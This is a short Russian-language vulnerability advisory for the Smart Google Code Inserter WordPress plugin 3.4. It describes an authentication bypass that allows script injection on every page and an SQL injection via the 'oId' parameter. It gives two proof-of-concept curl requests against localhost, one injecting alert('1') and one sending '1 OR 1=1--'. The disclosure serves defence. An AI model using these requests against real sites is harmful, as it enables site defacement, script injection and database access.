Смарт-код Google Code Inserter - это плагин WordPress, который упрощает добавление кода отслеживания Google Analytics, а также проверку метатеги для веб-мастеров. На данный момент плагин загружен 34 207 раза и имеет более 9 000 активных установок.

Уязвимость обхода аутентификации в плагине Smart Code Code Inserter 3.4 позволяет злоумышленникам, не прошедшим проверку подлинности, вставить произвольный код javascript или HTML, который работает на всех страницах, обслуживаемых WordPress. Функция saveGoogleCode () в smartgooglecode.php не проверяет выполнение запроса авторизованным пользователем, что позволяет любому не прошедшему проверку подлинности пользователю успешно обновить вставленный код.

Уязвимость SQL Injection в сочетании с уязвимостью обхода аутентификации в плагине Smart Code Code Inserter 3.4 позволяет злоумышленникам, не прошедшим проверку подлинности, выполнять SQL-запросы в контексте веб-сервера. Функция saveGoogleAdWords () в smartgooglecode.php не использует подготовленные операторы и не дезактивирует переменную $ _POST ["oId"], прежде чем передать ее как вход в SQL-запрос.

Вставка кода:

curl -k -i --raw -X POST -d
"sgcgoogleanalytic=alert("1");&sgcwebtools=&button=Save+Changes&action=savegooglecode"
"http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
localhost" -H "Content-Type: application/x-www-form-urlencoded"

SQL Injection:

curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId[]=1 OR
1=1--&ppccap[]=ex:mywplead&ppcpageid[]=1&ppccode[]=bb&nchkdel1=on" "
http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
localhost" -H "Content-Type: application/x-www-form-urlencoded"